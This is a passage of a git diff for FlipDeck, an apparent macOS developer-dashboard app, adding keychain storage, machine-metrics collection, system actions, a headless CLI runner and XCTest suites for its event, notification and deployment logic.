CFDictionary, &result) == errSecSuccess, let data = result as? Data else { return nil } + return String(data: data, encoding: .utf8) + } + + public func set(_ value: String?, for key: SecretKey) throws { + let base = query(key) + guard let value, !value.isEmpty else { + let status = SecItemDelete(base as CFDictionary) + guard status == errSecSuccess || status == errSecItemNotFound else { throw KeychainError(status: status) } + return + } + let data = Data(value.utf8) + let update = SecItemUpdate(base as CFDictionary, [kSecValueData as String: data] as CFDictionary) + if update == errSecItemNotFound { + var add = base + add[kSecValueData as String] = data + add[kSecAttrAccessible as String] = kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly + let status = SecItemAdd(add as CFDictionary, nil) + guard status == errSecSuccess else { throw KeychainError(status: status) } + } else if update != errSecSuccess { + throw KeychainError(status: update) + } + } +} + +public struct KeychainError: Error, CustomStringConvertible { + public let status: OSStatus + public var description: String { + (SecCopyErrorMessageString(status, nil) as String?) ?? "Keychain error \(status)" + } +} +#endif diff --git a/mac/Sources/FlipDeckMacPlatform/MachineMetrics.swift b/mac/Sources/FlipDeckMacPlatform/MachineMetrics.swift new file mode 100644 index 0000000..89aabcb --- /dev/null +++ b/mac/Sources/FlipDeckMacPlatform/MachineMetrics.swift @@ -0,0 +1,133 @@ +#if os(macOS) +import Darwin +import Foundation +import IOKit.ps +import Network +import SystemConfiguration +import FlipDeckCore + +public enum MacHost { + /// The user-facing computer name ("Mo's MacBook Pro"). Unlike + /// `Host.current()`, this never blocks on DNS. + public static func computerName() -> String { + (SCDynamicStoreCopyComputerName(nil, nil) as String?) ?? ProcessInfo.processInfo.hostName + } +} + +/// Real machine metrics from Mach, sysctl, IOKit and Network.framework. +public final class MacMachineMetrics: MachineMetricsProvider, @unchecked Sendable { + private let lock = NSLock() + private var previousTicks: (busy: UInt64, total: UInt64)? + private var networkReachable: Bool? + private var networkInterface: String? + private let monitor = NWPathMonitor() + private let hostName: String + + public init() { + hostName = MacHost.computerName() + monitor.pathUpdateHandler = { [weak self] path in + let interface: String? + if path.usesInterfaceType(.wifi) { interface = "Wi-Fi" } + else if path.usesInterfaceType(.wiredEthernet) { interface = "Ethernet" } + else if path.usesInterfaceType(.cellular) { interface = "Cellular" } + else { interface = nil } + self?.setNetwork(path.status == .satisfied, interface) + } + monitor.start(queue: DispatchQueue(label: "flipdeck.network")) + } + + deinit { monitor.cancel() } + + private func setNetwork(_ reachable: Bool, _ interface: String?) { + lock.lock() + networkReachable = reachable + networkInterface = interface + lock.unlock() + } + + public func sample() async -> MachineStatus { + let (used, total) = memory() + lock.lock() + let reachable = networkReachable + let interface = networkInterface + lock.unlock() + return MachineStatus( + hostName: hostName, + osVersion: ProcessInfo.processInfo.operatingSystemVersionString, + cpuUsage: cpuUsage(), + memoryUsedBytes: used, + memoryTotalBytes: total, + battery: battery(), + networkReachable: reachable, + networkInterface: interface, + bootTime: bootTime() + ) + } + + /// Fraction of non-idle CPU ticks since the previous sample. + func cpuUsage() -> Double? { + var info = host_cpu_load_info() + var count = mach_msg_type_number_t(MemoryLayout.stride / MemoryLayout.stride) + let result = withUnsafeMutablePointer(to: &info) { pointer in + pointer.withMemoryRebound(to: integer_t.self, capacity: Int(count)) { + host_statistics(mach_host_self(), HOST_CPU_LOAD_INFO, $0, &count) + } + } + guard result == KERN_SUCCESS else { return nil } + let user = UInt64(info.cpu_ticks.0) + let system = UInt64(info.cpu_ticks.1) + let idle = UInt64(info.cpu_ticks.2) + let nice = UInt64(info.cpu_ticks.3) + let busy = user + system + nice + let total = busy + idle + + lock.lock() + defer { lock.unlock() } + defer { previousTicks = (busy, total) } + guard let previous = previousTicks, total > previous.total else { return nil } + return Double(busy - previous.busy) / Double(total - previous.total) + } + + /// "Memory Used" as Activity Monitor reports it: app + wired + compressed. + func memory() -> (UInt64?, UInt64) { + let total = ProcessInfo.processInfo.physicalMemory + var stats = vm_statistics64() + var count = mach_msg_type_number_t(MemoryLayout.stride / MemoryLayout.stride) + let result = withUnsafeMutablePointer(to: &stats) { pointer in + pointer.withMemoryRebound(to: integer_t.self, capacity: Int(count)) { + host_statistics64(mach_host_self(), HOST_VM_INFO64, $0, &count) + } + } + guard result == KERN_SUCCESS else { return (nil, total) } + let pageSize = UInt64(getpagesize()) + let appPages = UInt64(stats.internal_page_count) - min(UInt64(stats.internal_page_count), UInt64(stats.purgeable_count)) + let used = (appPages + UInt64(stats.wire_count) + UInt64(stats.compressor_page_count)) * pageSize + return (min(used, total), total) + } + + func battery() -> BatteryStatus? { + guard let blob = IOPSCopyPowerSourcesInfo()?.takeRetainedValue(), + let sources = IOPSCopyPowerSourcesList(blob)?.takeRetainedValue() as? [CFTypeRef] else { return nil } + for source in sources { + guard let description = IOPSGetPowerSourceDescription(blob, source)?.takeUnretainedValue() as? [String: Any], + (description[kIOPSTypeKey] as? String) == kIOPSInternalBatteryType, + let current = description[kIOPSCurrentCapacityKey] as? Int, + let maximum = description[kIOPSMaxCapacityKey] as? Int, maximum > 0 else { continue } + return BatteryStatus( + percent: Int((Double(current) / Double(maximum) * 100).rounded()), + charging: description[kIOPSIsChargingKey] as? Bool ?? false, + onAC: (description[kIOPSPowerSourceStateKey] as? String) == kIOPSACPowerValue + ) + } + return nil + } + + func bootTime() -> Date? { + var mib: [Int32] = [CTL_KERN, KERN_BOOTTIME] + var value = timeval() + var size = MemoryLayout.stride + guard sysctl(&mib, 2, &value, &size, nil, 0) == 0 else { return nil } + return Date(timeIntervalSince1970: TimeInterval(value.tv_sec) + TimeInterval(value.tv_usec) / 1_000_000) + } +} +#endif diff --git a/mac/Sources/FlipDeckMacPlatform/Module.swift b/mac/Sources/FlipDeckMacPlatform/Module.swift new file mode 100644 index 0000000..7e3f619 --- /dev/null +++ b/mac/Sources/FlipDeckMacPlatform/Module.swift @@ -0,0 +1 @@ +// macOS adapters live in this module; every file is wrapped in #if os(macOS). diff --git a/mac/Sources/FlipDeckMacPlatform/SystemEffects.swift b/mac/Sources/FlipDeckMacPlatform/SystemEffects.swift new file mode 100644 index 0000000..101666a --- /dev/null +++ b/mac/Sources/FlipDeckMacPlatform/SystemEffects.swift @@ -0,0 +1,134 @@ +#if os(macOS) +import AppKit +import Foundation +import os +import UserNotifications +import FlipDeckCore + +public struct EditorApp: Identifiable, Hashable, Sendable { + public let bundleID: String + public let name: String + public var id: String { bundleID } +} + +public enum Editors { + static let known: [(String, String)] = [ + ("com.todesktop.230313mzl4w4u92", "Cursor"), + ("com.microsoft.VSCode", "Visual Studio Code"), + ("com.microsoft.VSCodeInsiders", "VS Code Insiders"), + ("dev.zed.Zed", "Zed"), + ("com.exafunction.windsurf", "Windsurf"), + ("com.apple.dt.Xcode", "Xcode"), + ("com.sublimetext.4", "Sublime Text"), + ("com.panic.Nova", "Nova"), + ("com.jetbrains.intellij", "IntelliJ IDEA"), + ("com.jetbrains.WebStorm", "WebStorm"), + ("com.jetbrains.pycharm", "PyCharm"), + ] + + /// Editors that are actually installed, in preference order. + public static func installed() -> [EditorApp] { + known.compactMap { bundleID, name in + NSWorkspace.shared.urlForApplication(withBundleIdentifier: bundleID) == nil ? nil : EditorApp(bundleID: bundleID, name: name) + } + } +} + +public enum EffectError: Error, LocalizedError { + case applicationNotFound(String) + case signalFailed(Int32, String) + + public var errorDescription: String? { + switch self { + case .applicationNotFound(let id): return "Application \(id) is not installed" + case .signalFailed(let pid, let reason): return "Couldn't signal pid \(pid): \(reason)" + } + } +} + +public struct MacSystemEffects: SystemEffects { + public init() {} + + public func openURL(_ url: URL) async throws { + _ = await MainActor.run { NSWorkspace.shared.open(url) } + } + + public func openProject(at path: String, editorBundleID: String?) async throws -> String { + let directory = URL(fileURLWithPath: path, isDirectory: true) + if let editorBundleID, let appURL = NSWorkspace.shared.urlForApplication(withBundleIdentifier: editorBundleID) { + try await open(directory, with: appURL) + return FileManager.default.displayName(atPath: appURL.path).replacingOccurrences(of: ".app", with: "") + } + _ = await MainActor.run { NSWorkspace.shared.open(directory) } + return "Finder" + } + + public func openTerminal(at path: String) async throws { + guard let terminal = NSWorkspace.shared.urlForApplication(withBundleIdentifier: "com.apple.Terminal") else { + throw EffectError.applicationNotFound("com.apple.Terminal") + } + try await open(URL(fileURLWithPath: path, isDirectory: true), with: terminal) + } + + public func revealInFinder(_ path: String) async throws { + await MainActor.run { NSWorkspace.shared.activateFileViewerSelecting([URL(fileURLWithPath: path)]) } + } + + public func copyToClipboard(_ string: String) async { + await MainActor.run { + NSPasteboard.general.clearContents() + NSPasteboard.general.setString(string, forType: .string) + } + } + + public func terminate(pid: Int32) throws { + guard kill(pid, SIGTERM) == 0 else { + throw EffectError.signalFailed(pid, String(cString: strerror(errno))) + } + } + + private func open(_ url: URL, with application: URL) async throws { + let configuration = NSWorkspace.OpenConfiguration() + configuration.activates = true + _ = try await NSWorkspace.shared.open([url], withApplicationAt: application, configuration: configuration) + } +} + +/// Posts Mac notifications. UserNotifications only works from a real .app +/// bundle, so this is a no-op when running as a bare SwiftPM executable. +public final class MacUserNotifier: MacNotifier, @unchecked Sendable { + let available: Bool + + public init() { + available = Bundle.main.bundleURL.pathExtension == "app" && Bundle.main.bundleIdentifier != nil + if available { + UNUserNotificationCenter.current().requestAuthorization(options: [.alert, .sound]) { _, _ in } + } + } + + public func post(_ event: FDEvent) { + guard available else { return } + let content = UNMutableNotificationContent() + content.title = event.title + if let project = event.projectName { content.subtitle = project } + content.body = event.message + if event.severity >= .error { content.sound = .default } + UNUserNotificationCenter.current().add(UNNotificationRequest(identifier: event.id, content: content, trigger: nil)) + } +} + +/// Unified logging, viewable in Console.app under subsystem com.flipdeck.mac. +public struct OSLogSink: LogSink { + public init() {} + + public func log(_ level: LogLevel, _ category: String, _ message: String) { + let logger = os.Logger(subsystem: "com.flipdeck.mac", category: category) + switch level { + case .debug: logger.debug("\(message, privacy: .public)") + case .info: logger.info("\(message, privacy: .public)") + case .warning: logger.warning("\(message, privacy: .public)") + case .error: logger.error("\(message, privacy: .public)") + } + } +} +#endif diff --git a/mac/Sources/flipdeck-headless/main.swift b/mac/Sources/flipdeck-headless/main.swift new file mode 100644 index 0000000..afcb2b7 --- /dev/null +++ b/mac/Sources/flipdeck-headless/main.swift @@ -0,0 +1,171 @@ +import Foundation +import FlipDeckCore + +// flipdeck-headless: runs the FlipDeck engine without a UI and prints what it +// sees. Useful for debugging detection on a real machine, and on Linux where +// the SwiftUI app can't run. +// +// flipdeck-headless [--root DIR]... [--once] [--frames] [--verbose] +// +// --root DIR project root to scan (repeatable; default: settings file) +// --once one full pass, print a summary, exit +// --frames print the FDP/1 frames a Flipper would receive +// VERCEL_TOKEN environment variable enables the Vercel integration. + +struct Options { + var roots: [String] = [] + var once = false + var frames = false + var verbose = false +} + +var options = Options() +var arguments = CommandLine.arguments.dropFirst().makeIterator() +while let argument = arguments.next() { + switch argument { + case "--root": if let root = arguments.next() { options.roots.append(root) } + case "--once": options.once = true + case "--frames": options.frames = true + case "--verbose": options.verbose = true + case "-h", "--help": + print("usage: flipdeck-headless [--root DIR]... [--once] [--frames] [--verbose]") + exit(0) + default: + FileHandle.standardError.write(Data("unknown argument: \(argument)\n".utf8)) + exit(2) + } +} + +/// Prints instead of acting: the headless runner never opens or kills anything. +struct DryRunEffects: SystemEffects { + func openURL(_ url: URL) async throws { print("[dry-run] open \(url)") } + func openProject(at path: String, editorBundleID: String?) async throws -> String { print("[dry-run] open project \(path)"); return "dry-run" } + func openTerminal(at path: String) async throws { print("[dry-run] terminal \(path)") } + func revealInFinder(_ path: String) async throws { print("[dry-run] reveal \(path)") } + func copyToClipboard(_ string: String) async { print("[dry-run] copy \(string)") } + func terminate(pid: Int32) throws { print("[dry-run] SIGTERM \(pid)") } +} + +let support = AppPaths.supportDirectory() +let store = SettingsStore(url: options.roots.isEmpty ? support.appendingPathComponent("settings.json") : nil) +if !options.roots.isEmpty { + var settings = store.settings + settings.projectRoots = options.roots + try? store.save(settings) +} + +let transport = LoopbackTransport() +if options.frames { + transport.onSend = { data in + for line in String(decoding: data, as: UTF8.self).split(separator: "\n") { print(" → \(line)") } + } +} + +let engine = FlipDeckEngine(dependencies: EngineDependencies( + secrets: EnvironmentSecretStore(), + effects: DryRunEffects(), + transport: options.frames ? transport : nil, + logSink: StderrLogSink(minimum: options.verbose ? .debug : .warning), + settingsStore: store, + activityLog: ActivityLog(), + hostName: ProcessInfo.processInfo.hostName +)) + +func summary(_ snapshot: EngineSnapshot) -> String { + let state = snapshot.state + var lines: [String] = [] + if let machine = state.machine { + lines.append("MACHINE \(machine.hostName) · \(machine.osVersion)") + } + lines.append("PROJECTS \(state.projects.count)") + for project in state.projects { + var parts = [" \(project.name)"] + if let git = project.git { + parts.append(git.branch ?? "(detached)") + parts.append(git.isDirty ? "dirty(\(git.changedCount + git.untrackedCount))" : "clean") + if let ahead = git.ahead, let behind = git.behind { parts.append("↑\(ahead) ↓\(behind)") } + } else if !project.isGitRepository { + parts.append("no git") + } else if let error = project.gitError { + parts.append("git error: \(error)") + } + if let framework = project.runtime.framework ?? project.runtime.runtime { parts.append(framework) } + if project.vercel != nil { parts.append("vercel-linked") } + if let deployment = state.latestDeployment(for: project.id) { parts.append("deploy:\(deployment.state.rawValue)") } + lines.append(parts.joined(separator: " · ")) + } + lines.append("SERVERS \(state.servers.count)") + for server in state.servers { + lines.append(" :\(server.primaryPort) \(server.displayName) pid \(server.pid) → \(state.project(id: server.projectID)?.name ?? "unassociated")") + } + lines.append("AGENTS \(state.agents.count)") + for agent in state.agents { + lines.append(" \(agent.providerName) pid \(agent.pid) → \(state.project(id: agent.projectID)?.name ?? agent.cwd ?? "?")") + } + lines.append("ACTIVE \(state.processes.count)") + for process in state.processes { + lines.append(" \(process.kind.rawValue) \(process.label) pid \(process.pid) → \(state.project(id: process.projectID)?.name ?? "?")") + } + for integration in state.integrations { + lines.append("INTEGRATION \(integration.displayName): \(integration.health) (\(integration.linkedProjects) linked)") + } + if !snapshot.attention.isEmpty { + lines.append("ATTENTION \(snapshot.attention.count)") + for item in snapshot.attention { lines.append(" ! \(item.projectName ?? "") \(item.title)") } + } + return lines.joined(separator: "\n") +} + +let lastEventID = LockedBox(nil) +let printEvents = !options.once +await engine.setObserver { snapshot in + guard printEvents else { return } + // Print new events as they happen. + let events = snapshot.events + let known = lastEventID.value + let fresh = events.prefix { $0.id != known } + for event in fresh.reversed() { + print("\(ISO8601DateFormatter().string(from: event.timestamp)) [\(event.severity.rawValue)] \(event.type.rawValue) \(event.projectName ?? "-"): \(event.title) \(event.message)") + } + if let first = events.first { lastEventID.value = first.id } +} + +final class LockedBox: @unchecked Sendable { + private let lock = NSLock() + private var stored: T + init(_ value: T) { stored = value } + var value: T { + get { lock.lock(); defer { lock.unlock() }; return stored } + set { lock.lock(); stored = newValue; lock.unlock() } + } +} + +if options.once { + let box = LockedBox(nil) + await engine.setObserver { box.value = $0 } + // Runs the real scheduler for one cycle of every provider. + await engine.start() + if options.frames { + // Pretend a Flipper connected, to show exactly what it would receive. + transport.emit(.connected(peerName: "headless", maxChunk: 182)) + transport.receive(String(decoding: FrameCodec.encode(Frame("HI", ["1", "headless", "0", "cli"])), as: UTF8.self)) + } + try? await Task.sleep(nanoseconds: 3_000_000_000) + if let snapshot = box.value { print(summary(snapshot)) } + await engine.stop() + exit(0) +} + +signal(SIGINT, SIG_IGN) +let interrupt = DispatchSource.makeSignalSource(signal: SIGINT, queue: .main) +interrupt.setEventHandler { + Task { + await engine.stop() + exit(0) + } +} +interrupt.resume() + +await engine.start() +print("FlipDeck headless running. Ctrl-C to stop.") +while true { try? await Task.sleep(nanoseconds: 60_000_000_000) } diff --git a/mac/Tests/FlipDeckCoreTests/EngineTests.swift b/mac/Tests/FlipDeckCoreTests/EngineTests.swift new file mode 100644 index 0000000..e4db48b --- /dev/null +++ b/mac/Tests/FlipDeckCoreTests/EngineTests.swift @@ -0,0 +1,145 @@ +import XCTest +@testable import FlipDeckCore + +final class RecordingNotifier: MacNotifier, @unchecked Sendable { + let posted = Counter() + func post(_ event: FDEvent) { posted.add(event.type.rawValue) } +} + +/// Drives the whole pipeline: real git + processes → state → events → +/// rules → Flipper frames → Flipper action request → effect. +final class EngineIntegrationTests: XCTestCase { + func testEndToEnd() async throws { + guard ToolLocator.find("lsof") != nil, ToolLocator.find("perl") != nil else { throw XCTSkip("lsof/perl not available") } + + let tmp = TempDir() + let root = tmp.mkdir("Developer") + let web = tmp.mkdir("Developer/web") + try makeGitRepo(web) + try commit(web, message: "initial") + tmp.write("Developer/web/.vercel/project.json", #"{"projectId":"prj_web","orgId":"team_1"}"#) + tmp.write("Developer/web/package.json", #"{"dependencies":{"next":"15"}}"#) + + // Fake Vercel API whose state the test controls. + let deploymentsJSON = LockedString(#"{"deployments":[{"uid":"d1","state":"READY","target":"production","url":"web.vercel.app","inspectorUrl":"https://vercel.com/acme/web/d1","created":1000}]}"#) + let http = FakeHTTP { _ in HTTPResponse(status: 200, body: Data(deploymentsJSON.value.utf8)) } + + let transport = LoopbackTransport() + let effects = RecordingEffects() + let notifier = RecordingNotifier() + let store = SettingsStore(url: nil) + try store.save(FlipDeckSettings(projectRoots: [root])) + let engine = FlipDeckEngine(dependencies: EngineDependencies( + http: http, + secrets: InMemorySecretStore([.vercelToken: "tok"]), + effects: effects, + transport: transport, + notifier: notifier, + logSink: NullLogSink(), + settingsStore: store, + activityLog: ActivityLog(), + hostName: "TestMac" + )) + let snapshots = SnapshotBox() + await engine.setObserver { snapshots.set($0) } + await engine.startSession() + + // Discovery + git. + await engine.discoverProjects() + var state = await engine.state + XCTAssertEqual(state.projects.map(\.name), ["web"]) + XCTAssertEqual(state.projects[0].git?.branch, "main") + XCTAssertEqual(state.projects[0].git?.lastCommit?.subject, "initial") + XCTAssertEqual(state.projects[0].runtime.framework, "Next.js") + XCTAssertEqual(state.projects[0].vercel?.projectID, "prj_web") + + // Baselines: processes and deployments produce no events on first sight. + await engine.scanProcesses() + await engine.refreshIntegrations() + XCTAssertTrue(snapshots.value?.events.isEmpty ?? false, "\(snapshots.value?.events.map(\.title) ?? [])") + + // A dev server starts inside the project. + let portFile = tmp.path + "/port" + let server = Process() + server.executableURL = URL(fileURLWithPath: ToolLocator.find("perl")!) + server.arguments = ["-MIO::Socket::INET", "-e", "my $s = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Listen => 5) or die; open(my $f, '>', '\(portFile)'); print $f $s->sockport; close $f; sleep 30"] + server.currentDirectoryURL = URL(fileURLWithPath: web) + try server.run() + // SIGKILL: the XCTest runner can hand children an ignored SIGTERM. + defer { kill(server.processIdentifier, SIGKILL) } + for _ in 0..<50 where !FileManager.default.fileExists(atPath: portFile) { try await Task.sleep(nanoseconds: 100_000_000) } + try await Task.sleep(nanoseconds: 100_000_000) + + await engine.scanProcesses() + state = await engine.state + let detected = try XCTUnwrap(state.servers.first { $0.pid == server.processIdentifier }) + XCTAssertEqual(detected.projectID, web) + XCTAssertEqual(snapshots.value?.events.first?.type, .serverStarted) + + // A new commit is noticed. + try commit(web, message: "second") + await engine.refreshGit(force: true) + XCTAssertEqual(snapshots.value?.events.first?.title, "New commit on main") + XCTAssertEqual(snapshots.value?.events.first?.message, "second") + + // Connect the Flipper. + transport.emit(.connected(peerName: "FlipDeck Zero", maxChunk: 182)) + try await Task.sleep(nanoseconds: 50_000_000) + transport.receive(String(decoding: FrameCodec.encode(Frame("HI", ["1", "0.1.0", "0", "boot1"])), as: UTF8.self)) + try await Task.sleep(nanoseconds: 100_000_000) + let sent = transport.sentFrames() + XCTAssertTrue(sent.contains { $0.type == "PRJ" && $0.fields[1] == "web" && $0.fields[6] == String(detected.primaryPort) && $0.fields[7] == "r" }) + XCTAssertTrue(sent.contains { $0.type == "SVC" }) + + // A production deployment fails → activity, Flipper alert, Mac notification, attention. + deploymentsJSON.value = #"{"deployments":[{"uid":"d2","state":"ERROR","target":"production","inspectorUrl":"https://vercel.com/acme/web/d2","created":2000,"meta":{"githubCommitMessage":"oops"}},{"uid":"d1","state":"READY","target":"production","url":"web.vercel.app","created":1000}]}"# + await engine.refreshIntegrations() + try await Task.sleep(nanoseconds: 100_000_000) + let snapshot = try XCTUnwrap(snapshots.value) + XCTAssertEqual(snapshot.events.first?.type, .deploymentFailed) + XCTAssertEqual(snapshot.attention.map(\.title), ["Production deploy failed"]) + XCTAssertEqual(notifier.posted.all, ["deployment.failed"]) + let alert = try XCTUnwrap(transport.sentFrames().last { $0.type == "ALR" }) + XCTAssertEqual(alert.fields[3], "Production deployment failed") + XCTAssertEqual(alert.fields[4], "oops") + + // The alert's actions arrived in a snapshot before the alert itself. + let frames = transport.sentFrames() + let alertIndex = try XCTUnwrap(frames.lastIndex { $0.type == "ALR" }) + let logsAction = try XCTUnwrap(frames[.. EngineState { + var state = EngineState() + state.projects = [project("/dev/web", name: "web")] + state.observed.processes = true + return state + } + + func testFirstProcessScanIsSilentBaseline() { + var old = EngineState() + old.projects = [project("/dev/web")] + var new = old + new.servers = [server(pid: 1, port: 3000, projectID: "/dev/web")] + new.agents = [AgentSession(providerID: "codex", providerName: "Codex", pid: 5, startedAt: .at(1), command: "codex")] + new.observed.processes = true + XCTAssertTrue(EventDiffer.diff(old: old, new: new, now: now).isEmpty) + } + + func testServerStartAndStop() { + let old = baseState() + var new = old + new.servers = [server(pid: 1, port: 5173, projectID: "/dev/web")] + let started = EventDiffer.diff(old: old, new: new, now: now) + XCTAssertEqual(started.map(\.type), [.serverStarted]) + XCTAssertEqual(started[0].title, "Vite started on :5173") + XCTAssertEqual(started[0].projectName, "web") + XCTAssertEqual(started[0].actions.map(\.kind), [.openLocalhost, .copyURL, .stopServer]) + + let stopped = EventDiffer.diff(old: new, new: old, now: now) + XCTAssertEqual(stopped.map(\.type), [.serverStopped]) + XCTAssertEqual(stopped[0].severity, .info) + } + + func testAgentExitIsNotReportedAsCompleted() { + var old = baseState() + old.agents = [AgentSession(providerID: "claude-code", providerName: "Claude Code", pid: 9, startedAt: now.addingTimeInterval(-38 * 60), projectID: "/dev/web", command: "claude")] + let events = EventDiffer.diff(old: old, new: baseState(), now: now) + XCTAssertEqual(events.map(\.type), [.agentExited]) + XCTAssertEqual(events[0].title, "Claude Code finished") + XCTAssertEqual(events[0].message, "in web after 38m · exit status not available") + XCTAssertEqual(events[0].actions.map(\.kind), [.openOnMac]) + } + + func testGitBranchAndCommitChanges() { + var old = baseState() + old.projects[0].git = GitStatus(branch: "main", headOID: "a1") + var branchSwitch = old + branchSwitch.projects[0].git = GitStatus(branch: "feature", headOID: "b2") + XCTAssertEqual(EventDiffer.diff(old: old, new: branchSwitch, now: now).map(\.title), ["Switched to feature"]) + + var newCommit = old + newCommit.projects[0].git = GitStatus(branch: "main", headOID: "c3", lastCommit: CommitInfo(oid: "c3", subject: "Add thing", date: now)) + let events = EventDiffer.diff(old: old, new: newCommit, now: now) + XCTAssertEqual(events.map(\.title), ["New commit on main"]) + XCTAssertEqual(events[0].message, "Add thing") + + // Dirty-only changes are not events (too noisy). + var dirty = old + dirty.projects[0].git?.changedCount = 3 + XCTAssertTrue(EventDiffer.diff(old: old, new: dirty, now: now).isEmpty) + + // First observation of a project's git state is a baseline. + var unknown = old + unknown.projects[0].git = nil + XCTAssertTrue(EventDiffer.diff(old: unknown, new: old, now: now).isEmpty) + } + + func deployment(_ id: String, _ state: DeploymentState, created: TimeInterval, target: String? = "production") -> Deployment { + Deployment(id: id, provider: "vercel", projectID: "/dev/web", state: state, target: target, url: "https://web-\(id).vercel.app", + inspectorURL: "https://vercel.com/acme/web/\(id)", createdAt: .at(created), branch: "main", commitMessage: "Ship it") + } + + func testDeploymentLifecycle() { + var old = baseState() + old.observed.deploymentsByProject = ["/dev/web"] + old.deployments["/dev/web"] = [deployment("d1", .ready, created: 100)] + + var building = old + building.deployments["/dev/web"] = [deployment("d2", .building, created: 200), deployment("d1", .ready, created: 100)] + XCTAssertEqual(EventDiffer.diff(old: old, new: building, now: now).map(\.type), [.deploymentStarted]) + + var failed = building + failed.deployments["/dev/web"]![0].state = .error + failed.deployments["/dev/web"]![0].errorMessage = "Type error: x is not assignable" + let events = EventDiffer.diff(old: building, new: failed, now: now) + XCTAssertEqual(events.map(\.type), [.deploymentFailed]) + XCTAssertEqual(events[0].severity, .error) + XCTAssertEqual(events[0].title, "Production deployment failed") + XCTAssertEqual(events[0].message, "Type error: x is not assignable") + XCTAssertEqual(events[0].actions.map(\.kind), [.openLogs]) + XCTAssertEqual(events[0].id, "deployment.failed:d2") + + // queued → building produces no second "started". + var queued = old + queued.deployments["/dev/web"] = [deployment("d3", .queued, created: 300)] + old.deployments["/dev/web"]! + var nowBuilding = queued + nowBuilding.deployments["/dev/web"]![0].state = .building + XCTAssertTrue(EventDiffer.diff(old: queued, new: nowBuilding, now: now).isEmpty) + } + + func testDeploymentBaselineAndPreviewSeverity() { + let old = baseState() // not yet observed + var new = old + new.deployments["/dev/web"] = [deployment("d1", .error, created: 100)] + XCTAssertTrue(EventDiffer.diff(old: old, new: new, now: now).isEmpty) + + var observed = old + observed.observed.deploymentsByProject = ["/dev/web"] + observed.deployments["/dev/web"] = [] + var preview = observed + preview.deployments["/dev/web"] = [deployment("p1", .error, created: 100, target: nil)] + let events = EventDiffer.diff(old: observed, new: preview, now: now) + XCTAssertEqual(events.first?.severity, .warning) + XCTAssertEqual(events.first?.title, "Preview deployment failed") + } + + func testDeploymentsFallingOutOfWindowAreIgnored() { + var old = baseState() + old.observed.deploymentsByProject = ["/dev/web"] + old.deployments["/dev/web"] = [deployment("d5", .ready, created: 500), deployment("d4", .ready, created: 400)] + var new = old + new.deployments["/dev/web"] = [deployment("d5", .ready, created: 500), deployment("d3", .ready, created: 300)] + XCTAssertTrue(EventDiffer.diff(old: old, new: new, now: now).isEmpty) + } +} + +final class NotificationRulesTests: XCTestCase { + func event(_ type: EventType, _ severity: Severity = .info) -> FDEvent { + FDEvent(timestamp: .at(0), source: .system, type: type, severity: severity, title: "t") + } + + func testDefaultRouting() { + let rules = NotificationRules() + XCTAssertEqual(rules.route(for: event(.deploymentSucceeded)), .activity) + XCTAssertEqual(rules.route(for: event(.deploymentFailed)), [.activity, .flipper, .mac]) + XCTAssertEqual(rules.route(for: event(.testsPassed)), .activity) + XCTAssertEqual(rules.route(for: event(.testsFailed)), [.activity, .flipper]) + XCTAssertEqual(rules.route(for: event(.agentCompleted)), [.activity, .flipper]) + XCTAssertEqual(rules.route(for: event(.serverStarted)), .activity) + // Unknown types fall back on severity. + XCTAssertEqual(rules.route(for: event("custom.thing", .error)), [.activity, .flipper, .mac]) + XCTAssertEqual(rules.route(for: event("custom.thing", .success)), .activity) + } + + func testMasterSwitches() { + let rules = NotificationRules(flipperAlertsEnabled: false, macNotificationsEnabled: false) + XCTAssertEqual(rules.route(for: event(.deploymentFailed)), .activity) + } +} + +final class ActivityLogTests: XCTestCase { + func event(_ id: String, _ t: TimeInterval, _ severity: Severity = .info) -> FDEvent { + FDEvent(id: id, timestamp: .at(t), source: .system, type: .gitChanged, severity: severity, title: id) + } + + func testDedupeOrderingAndCapacity() { + let log = ActivityLog(capacity: 3) + XCTAssertEqual(log.append([event("a", 1), event("b", 2)]).count, 2) + XCTAssertEqual(log.append([event("a", 1)]).count, 0) + log.append([event("c", 3), event("d", 4)]) + XCTAssertEqual(log.recent().map(\.id), ["d", "c", "b"]) + // "a" was evicted, so it may be recorded again. + XCTAssertEqual(log.append([event("a", 5)]).count, 1) + } + + func testPersistenceRoundTripAndAcknowledge() throws { + let tmp = TempDir() + let url = URL(fileURLWithPath: tmp.path + "/nested/activity.json") + let log = ActivityLog(fileURL: url) + log.append([event("x", 1, .error), event("y", 2)]) + XCTAssertTrue(log.acknowledge(id: "x")) + XCTAssertFalse(log.acknowledge(id: "x")) + try log.saveIfNeeded() + + let reloaded = ActivityLog(fileURL: url) + XCTAssertEqual(reloaded.recent().map(\.id), ["y", "x"]) + XCTAssertEqual(reloaded.event(id: "x")?.acknowledged, true) + } + + func testCorruptFileStartsEmpty() throws { + let tmp = TempDir() + tmp.write("activity.json", "{nope") + XCTAssertTrue(ActivityLog(fileURL: URL(fileURLWithPath: tmp.path + "/activity.json")).recent().isEmpty) + } +} + +final class AttentionTests: XCTestCase { + func testFailedDeploymentNeedsAttentionUntilAcknowledgedOrSuperseded() { + var state = EngineState() + state.projects = [project("/dev/web", name: "web")] + let failed = Deployment(id: "d1", provider: "vercel", projectID: "/dev/web", state: .error, target: "production", url: nil, + inspectorURL: "https://vercel.com/a/web/d1", createdAt: .at(1), branch: nil, commitMessage: nil) + state.deployments["/dev/web"] = [failed] + + let items = AttentionBuilder.build(state: state, events: [], now: .at(100)) + XCTAssertEqual(items.map(\.title), ["Production deploy failed"]) + XCTAssertEqual(items[0].actions.map(\.kind), [.openLogs, .openOnMac]) + + let failureEvent = FDEvent(id: "deployment.failed:d1", timestamp: .at(50), source: .vercel, projectID: "/dev/web", + type: .deploymentFailed, severity: .error, title: "x", metadata: ["deployment": "d1"], acknowledged: true) + XCTAssertTrue(AttentionBuilder.build(state: state, events: [failureEvent], now: .at(100)).isEmpty) + + var unacked = failureEvent + unacked.acknowledged = false + // Covered by the state-derived item: listed once, not twice. + XCTAssertEqual(AttentionBuilder.build(state: state, events: [unacked], now: .at(100)).count, 1) + + // A newer successful deployment resolves it. + var fixed = state + fixed.deployments["/dev/web"] = [Deployment(id: "d2", provider: "vercel", projectID: "/dev/web", state: .ready, target: "production", url: nil, inspectorURL: nil, createdAt: .at(2), branch: nil, commitMessage: nil), failed] + XCTAssertTrue(AttentionBuilder.build(state: fixed, events: [unacked], now: .at(100)).isEmpty) + } + + func testOldOrLowSeverityEventsAreNotAttention() { + let old = FDEvent(timestamp: .at(0), source: .system, type: "x", severity: .error, 